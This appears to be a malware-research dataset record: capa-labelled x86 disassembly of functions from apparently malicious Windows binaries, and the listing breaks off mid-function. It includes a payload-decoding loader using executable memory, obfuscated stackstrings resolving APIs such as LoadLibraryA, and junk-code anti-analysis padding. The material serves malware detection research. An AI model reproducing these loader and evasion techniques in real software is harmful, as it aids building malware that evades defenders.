joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40699d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x800
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004062fe
mov edi, dword [ebp + 0x14]
test eax, eax
jne 0x406a0f
push esi
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp + 0x18]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
mov word [edi + 0x7fe], ax
pop esi
jne 0x406a0f
cmp dword [ebp + 0x18], 1
je 0x406a14
cmp dword [ebp + 0x18], 2
je 0x406a14
xor eax, eax
mov word [edi], ax
pop edi
leave
ret 0x14

Function at 0x406a19
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
ret 4

Function at 0x406a7c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp - 8], 0x73006e
mov dword [ebp - 4], 0x61
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
add word [ebp - 4], dx
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x406ac6
test edi, edi
jne 0x406a89
mov word [esi], ax
jmp 0x406ac8
mov eax, esi
pop edi
pop esi
leave
ret 8

Function at 0x406bc3
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406be5
mov ecx, esi
and ecx, 0xfffffffe
push ecx
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x406e62
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4270bc], 0
push esi
jne 0x406e9c
xor ecx, ecx
push 8
mov edx, ecx
pop esi
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
sub esi, 1
jne 0x406e73
mov dword [ecx*4 + 0x4270b8], edx
inc ecx
cmp ecx, 0x100
jl 0x406e6e
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
not ecx
test edx, edx
je 0x406ec6
mov esi, dword [esp + 0xc]
movzx eax, byte [esi]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4270b8]
inc esi
sub edx, 1
jne 0x406eae
not ecx
mov eax, ecx
pop esi
ret 0xc
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x408992
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4089a1
pop dword [ebp - 8]
mov eax, 0xd0b51f57
add eax, 0x2f8b6a4a
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x39cad
push 0
mov eax, 0x1e7bcd9b
sub eax, 0x1e3aecc3
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x4fcbcc45
add ecx, 0xb0347e0a
mov edx, eax
mov ebx, 0x413bc4
add ebx, dword [ebp - 8]
mov esi, 0x5be6a71a
xor dword [ebp - 4], 0x973ea541
mov edi, dword [ebx]
sub dword [ebp - 4], ebx
sub edi, esi
mov dword [ebp - 4], 0xab2e3bd3
mov dword [edx], edi
sub dword [ebp - 4], ecx
add edx, 4
add ebx, 0xdabc5ae2
sub ebx, 0xdabc5ade
loop 0x4089f4
add eax, 0x11c0f
mov ebx, eax
add eax, 0xf73bbe61
add eax, 0x8c441a4
mov ecx, 0x8285cb
add ecx, 0xffbd7a35
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x447957
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
cmp dword [ebp + 8], 0
jne 0x44796b
jmp 0x447b1e
lea esp, [esp]
jae 0x447970
rol edx, 0
jae 0x44798d
pushf
jp 0x447979
stc
jmp 0x44797c
test ecx, 0x2c50
popf
lea ecx, [ecx]
mov esp, esp
mov edx, edx
jb 0x44798d
mov ebx, 0x8908458b
inc ebp
in al, dx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov dword [0x43d87c], edx
jno 0x4479a0
xchg ecx, ecx
jo 0x4479a4
jp 0x4479a6
jb 0x4479b9
pushf
xor edx, 0
jl 0x4479af
ror esi, 0
popf
jne 0x4479b6
jae 0x4479b9
mov edi, 0x8bec458b
dec eax
add al, 0x89
or eax, 0x43d86c
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 4]
mov dword [0x43d86c], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 8]
mov dword [0x43d868], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0xc]
mov dword [0x43d4b0], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
mov dword [0x43d4b4], ecx
lea edi, [edi + 0x691c]
lea edi, [edi - 0x691c]
je 0x447a02
pushf
shl esp, 0
popf
jl 0x4479ff
jne 0x447a02
xor eax, 0x4df045c6
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x4d
mov byte [ebp - 0xb], 0x6a
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x62
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x7a
mov byte [ebp - 5], 0x42
mov byte [ebp - 4], 0
cmc
ror eax, 0
ror edx, 0
xchg ebx, ebx
jge 0x447a57
xchg esp, esp
lea edi, [edi + 0x4280]
lea edi, [edi - 0x4280]
jno 0x447a51
lea ebx, [ebx]
jl 0x447a57
xor eax, 0xf0558a9e
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0xb]
sub al, 1
mov byte [ebp - 0xb], al
mov cl, byte [ebp - 6]
sub cl, 1
mov byte [ebp - 6], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 5]
sub cl, 1
mov byte [ebp - 5], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
xor edi, dword [esp]
xor edi, dword [esp]
jne 0x447ac7
jne 0x447ac9
rol ebx, 0x10
ror ebx, 0x10
jne 0x447add
pushf
mov eax, eax
popf
lea esp, [esp]
je 0x447add
mov ebx, 0xd8683d83
inc ebx
add byte [eax], al
cmp dword [0x43d868], 0
je 0x447afa
lea edx, [ebp - 0x10]
push edx
mov eax, dword [0x43d868]
push eax
call fcn.0046cd83
mov dword [0x43d878], eax
xchg edx, eax
xchg edx, eax
xchg ecx, ecx
inc edx
dec edx
je 0x447b0e
nop
jg 0x447b05
js 0x447b07
lea esp, [esp]
jne 0x447b0e
mov edi, 0x6a0d6af7
add byte [ebp - 0x17ae0fb3], cl
xchg edi, eax
xor eax, 0xc4830000
or al, 0x5f
push 0xd
push 0
lea ecx, [ebp - 0x10]
push ecx
call fcn.0044b0b2
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x448adf
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0044b0b2
add esp, 0xc
mov edi, edi
xor esi, 0x4926
xor esi, 0x4926
jle 0x448b25
pushf
jbe 0x448b0c
xchg esi, eax
xchg esi, eax
xor edi, edx
xor edi, edx
call 0x448b17
add esp, 4
popf
jbe 0x448b1e
ja 0x448b20
jbe 0x448b22
jg 0x448b25
mov esp, 0x46f045c6
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 6], 0x74
mov byte [ebp - 0xf], 0x79
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 5], 0
mov byte [ebp - 0xe], 0x6a
mov byte [ebp - 9], 0x64
mov byte [ebp - 0xd], 0x75
mov byte [ebp - 8], 0x66
mov byte [ebp - 0xc], 0x51
mov byte [ebp - 7], 0x74
and esp, 0xffffffff
jbe 0x448b6a
lea edi, [edi + 0x7c43]
lea edi, [edi - 0x7c43]
ja 0x448b6a
sub dword [ebp - 0x76], 0xe980f04d
add dword [eax + 0x558af04d], ecx
cmc
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 6]
sub al, 1
mov byte [ebp - 6], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0xa]
sub dl, 1
mov byte [ebp - 0xa], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 9]
sub cl, 1
mov byte [ebp - 9], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 8]
sub al, 1
mov byte [ebp - 8], al
mov cl, byte [ebp - 0xc]
sub cl, 1
mov byte [ebp - 0xc], cl
mov dl, byte [ebp - 7]
sub dl, 1
mov byte [ebp - 7], dl
nop
js 0x448bd7
mov esp, esp
lea eax, [eax]
mov eax, eax
jns 0x448bd7
mov ebx, 0x4faae896
add byte [eax], al
call fcn.0044db86
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x448be9
xor eax, eax
jmp 0x448c28
cmp esp, 0xf12
lea edi, [edi]
jns 0x448c05
lea ecx, [ecx + 0x7e64]
lea ecx, [ecx - 0x7e64]
lea ecx, [ecx]
nop
js 0x448c05
or dword [ebp - 0x74af0fbb], 0xe851fc4d
jno 0x448c51
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0046cd83
add al, byte [eax]
mov dword [ebp - 0x14], eax
push 0xc
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.0044b0b2
add esp, 0xc
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44d2bd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xe
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0044b0b2
add esp, 0xc
jle 0x44d2d8
rol esi, 0xd
rol esi, 0x13
xchg esp, esp
shr esp, 0
ja 0x44d30b
pushf
cmp edx, 0x28ba
rol eax, 0
jge 0x44d2f2
add edi, dword [esp]
sub edi, dword [esp]
popf
jne 0x44d2fc
lea esi, [esi + 0x4679]
lea esi, [esi - 0x4679]
jbe 0x44d30b
mov esp, 0x47e845c6
mov byte [ebp - 0x18], 0x47
mov byte [ebp - 0xe], 0x46
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x13], 0x6a
mov byte [ebp - 0xc], 0x42
mov byte [ebp - 0xb], 0
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0x14], 0x58
mov byte [ebp - 0xf], 0x78
mov byte [ebp - 0x17], 0x6a
mov byte [ebp - 0xd], 0x79
cld
or ecx, 0
clc
jae 0x44d34a
ja 0x44d360
pushf
jns 0x44d350
xchg ebx, esi
xchg ebx, esi
sub esp, 0
popf
jae 0x44d35b
jle 0x44d35d
jbe 0x44d360
or dword [edx - 0x167f17b3], 0xe84d8801
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 0x11]
sub al, 1
mov byte [ebp - 0x11], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0x13]
sub al, 1
mov byte [ebp - 0x13], al
mov cl, byte [ebp - 0x17]
sub cl, 1
mov byte [ebp - 0x17], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x16]
sub al, 1
mov byte [ebp - 0x16], al
mov cl, byte [ebp - 0xc]
sub cl, 1
mov byte [ebp - 0xc], cl
call fcn.0046a083
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x44d3e6
xor eax, eax
jmp 0x44d47d
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.0046cd83
mov dword [ebp - 4], eax
push 0xe
push 0
lea ecx, [ebp - 0x18]
push ecx
call fcn.0044b0b2
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x44d47b
or edx, edx
ja 0x44d410
jno 0x44d412
xchg esp, esp
je 0x44d431
pushf
jle 0x44d41a
or esi, esi
jmp 0x44d41e
popf
xchg ecx, ecx
lea eax, [eax + 0x21ee]
lea eax, [eax - 0x21ee]
jne 0x44d431
add eax, 0x52fc558b
mov edx, dword [ebp - 4]
push edx
call fcn.00468812
add esp, 4
jns 0x44d43f
ror ecx, 0x15
ror ecx, 0xb
rol esp, 0
or edx, edx
jo 0x44d466
pushf
cmp eax, ecx
jo 0x44d452
xor ebx, 0x58d6
xor ebx, 0x58d6
xchg esp, esp
popf
nop
jno 0x44d466
mov ecx, 0x5014458b
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 4]
jmp 0x44d47d
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x44d746
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xe
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0044b0b2
add esp, 0xc
lea ebx, [ebx]
test ecx, edi
jp 0x44d782
pushf
add edi, dword [esp]
sub edi, dword [esp]
jae 0x44d76f
popf
lea ebx, [ebx + 0x146e]
lea ebx, [ebx - 0x146e]
jge 0x44d77f
jnp 0x44d782
mov esi, 0x7aec45c6
mov byte [ebp - 0x14], 0x7a
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0xf], 0x4a
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xd], 0x67
mov byte [ebp - 0x12], 0x75
mov byte [ebp - 0xb], 0
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 0x15], 0x54
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0xe], 0x6f
call 0x44d7bf
add esp, 4
ja 0x44d7c9
lea edx, [edx]
jbe 0x44d7c9
mov ecx, 0x80f44d8a
jmp 0xf4925fd3
mov cl, byte [ebp - 0xc]
sub cl, 1
mov byte [ebp - 0xc], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0x17]
sub al, 1
mov byte [ebp - 0x17], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xd]
sub al, 1
mov byte [ebp - 0xd], al
mov cl, byte [ebp - 0x16]
sub cl, 1
mov byte [ebp - 0x16], cl
std
cld
mov edx, edx
je 0x44d847
jmp 0x44d842
nop
jne 0x44d847
add eax, 0x33ae8fa
add byte [eax], al
call fcn.0044db86
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x44d85a
jmp 0x44d91c
stc
cmp esi, ebx
nop
cmc
jae 0x44d87b
pushf
not ebx
not ebx
cmp esp, 0x29e4
cmp esi, dword [esp]
lea esi, [esi]
popf
jbe 0x44d876
jne 0x44d878
jb 0x44d87b
mov ebp, 0x52e8558d
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.0046cd83
mov dword [ebp - 4], eax
push 0xe
push 0
lea ecx, [ebp - 0x18]
push ecx
call fcn.0044b0b2
add esp, 0xc
cmp esp, 0xa66
cmp edi, 0xcc7
rol edx, 3
ror edx, 3
shl esp, 0
jb 0x44d8c2
lea ecx, [ecx + 0x75b6]
lea ecx, [ecx - 0x75b6]
nop
jae 0x44d8c2
add eax, 0xfc7d83
cmp dword [ebp - 4], 0
jne 0x44d8ca
jmp 0x44d91c
neg ebx
neg ebx
rol ebx, 0x14
ror ebx, 0x14
jno 0x44d8f2
pushf
lea ebx, [ebx + 0x1fbb]
sub ebx, 0x1fbb
nop
jns 0x44d8e7
popf
mov esp, esp
jbe 0x44d8ed
jno 0x44d8ef
jo 0x44d8f2
call 0x53412e81
mov edx, dword [ebp - 4]
push edx
call fcn.00468812
add esp, 4
cmp esi, dword [esp]
xor ecx, edx
xor ecx, edx
jb 0x44d907
je 0x44d915
pushf
add esp, 0
popf
jb 0x44d912
jne 0x44d915
ljmp 0x55ff:0x5008458b
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x44e2b6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 8], 0
push 0xe
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0044b0b2
add esp, 0xc
js 0x44e2d8
lea ecx, [ecx + 0x5485]
lea ecx, [ecx - 0x5485]
je 0x44e2fd
pushf
cmp edi, 0xf58
shl esp, 0
jbe 0x44e2f3
ror edx, 0
popf
je 0x44e2fa
jne 0x44e2fd
mov edi, 0x51e845c6
mov byte [ebp - 0x18], 0x51
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0xe], 0x66
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0xd], 0x79
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x11], 0x34
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0x15], 0x64
mov byte [ebp - 0x10], 0x33
mov byte [ebp - 0xb], 0
mov byte [ebp - 0x14], 0x66
mov byte [ebp - 0xf], 0x4f
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 0x17]
sub cl, 1
mov byte [ebp - 0x17], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 0xd]
sub al, 1
mov byte [ebp - 0xd], al
mov cl, byte [ebp - 0x16]
sub cl, 1
mov byte [ebp - 0x16], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
xchg esi, esi
jo 0x44e3bb
pushf
ja 0x44e3ae
mov esi, esi
popf
lea ebx, [ebx]
js 0x44e3b6
jo 0x44e3b8
jno 0x44e3bb
xor eax, 0xfff7c6e8
dec dword [ecx + 0x7d83f845]
clc
add byte [ebp + 4], dh
call fcn.0044db86
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x44e3cd
xor eax, eax
jmp 0x44e44c
jae 0x44e3cf
rol ebx, 6
ror ebx, 6
jo 0x44e3e4
xchg ecx, ecx
jo 0x44e3db
js 0x44e3dd
xchg ecx, edi
xchg ecx, edi
jno 0x44e3e4
jmp 0x532d3975
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.0046cd83
mov dword [ebp - 4], eax
push 0xe
push 0
lea ecx, [ebp - 0x18]
push ecx
call fcn.0044b0b2
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x44e40e
xor eax, eax
jmp 0x44e44c
js 0x44e410
ja 0x44e41f
pushf
and esi, esi
jp 0x44e418
popf
jmp 0x44e41c
jbe 0x44e41f
mov ebx, 0x52fc558b
mov edx, dword [ebp - 4]
push edx
call fcn.00468812
add esp, 4
jno 0x44e42d
lea eax, [eax]
jnp 0x44e441
pushf
ror ecx, 0
popf
jge 0x44e43a
je 0x44e43c
jp 0x44e43e
jp 0x44e441
lcall 0x4d8b, 0x500c458b
or byte [ecx - 1], dl
push ebp
cld
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x44ef1a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x10
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.0044b0b2
add esp, 0xc
inc ecx
dec ecx
ja 0x44ef37
cld
or esp, 0
je 0x44ef61
pushf
clc
or edx, edx
jge 0x44ef44
lea eax, [eax + 0x4ff8]
lea eax, [eax - 0x4ff8]
popf
lea edi, [edi + 0x19fc]
lea edi, [edi - 0x19fc]
jne 0x44ef61
mov edi, 0x4aec45c6
mov byte [ebp - 0x14], 0x4a
mov byte [ebp - 8], 0x63
mov byte [ebp - 0xb], 0x6a
mov byte [ebp - 0x12], 0x58
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 6], 0x66
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0x11], 0x6a
mov byte [ebp - 0xd], 0x78
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 5], 0
mov byte [ebp - 0xc], 0x57
mov byte [ebp - 9], 0x6a
mov byte [ebp - 7], 0x6d
jle 0x44efa3
je 0x44efb7
pushf
jge 0x44efa9
xor esp, 0
inc eax
dec eax
popf
jo 0x44efb2
jl 0x44efb4
jne 0x44efb7
mov ebx, 0x80ec4d8a
jmp 0xec9277c1
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 6]
sub dl, 1
mov byte [ebp - 6], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 0xa]
sub cl, 1
mov byte [ebp - 0xa], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 7]
sub al, 1
mov byte [ebp - 7], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 9]
sub dl, 1
mov byte [ebp - 9], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 8]
sub cl, 1
mov byte [ebp - 8], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 0x13]
sub al, 1
mov byte [ebp - 0x13], al
mov cl, byte [ebp - 0xc]
sub cl, 1
mov byte [ebp - 0xc], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
call fcn.0046a083
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x44f04e
xor eax, eax
jmp 0x44f0d2
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0046cd83
mov dword [ebp - 0x18], eax
push 0x10
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.0044b0b2
add esp, 0xc
cmp dword [ebp - 0x18], 0
je 0x44f0d0
ja 0x44f076
and esp, 0xffffffff
je 0x44f07b
js 0x44f08a
pushf
jb 0x44f081
mov edi, edi
popf
mov ebx, ebx
jns 0x44f08a
mov esi, 0x51e84d8b
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00468812
add esp, 4
rol esi, 0xc
ror esi, 0xc
ror esp, 0
cmp esp, 0x31fa
jo 0x44f0a7
jo 0x44f0c7
pushf
add esp, 0
shr ecx, 0
nop
add esi, 0x2aa9
sub esi, 0x2aa9
popf
xchg ebx, edi
xchg ebx, edi
jno 0x44f0c7
jmp 0x524d4656
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x18]
jmp 0x44f0d2
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x44f2c9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
cmp dword [0x43d6d8], 1
jne 0x44f432
push 0xc
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0044b0b2
add esp, 0xc
and eax, 0xffffffff
js 0x44f301
pushf
jb 0x44f2f8
jns 0x44f2fa
popf
jg 0x44f2fe
jns 0x44f301
mov eax, 0x48e845c6
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 0x17], 0x6d
mov byte [ebp - 0x12], 0x42
mov byte [ebp - 0xd], 0
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0x14], 0x62
mov byte [ebp - 0xf], 0x70
not ecx
not ecx
jb 0x44f356
pushf
shr ecx, 0
clc
ja 0x44f33f
jo 0x44f341
popf
jno 0x44f345
lea ecx, [ecx + 0x2971]
lea ecx, [ecx - 0x2971]
ja 0x44f353
jae 0x44f356
add eax, 0x80e84d8a
jmp 0xe8927b60
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 0x17]
sub cl, 1
mov byte [ebp - 0x17], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 0x16]
sub al, 1
mov byte [ebp - 0x16], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0x15]
sub dl, 1
mov byte [ebp - 0x15], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
call fcn.0044db86
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x44f3cb
xor eax, eax
jmp 0x44f49d
test esi, 0x6199
rol esi, 0x1c
ror esi, 0x1c
jno 0x44f3de
xchg esp, esp
jo 0x44f3de
or dword [ebp - 0x74af17bb], 0xe851f44d
cwde
fld dword [ecx]
add byte [ecx + 0xc6af845], cl
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
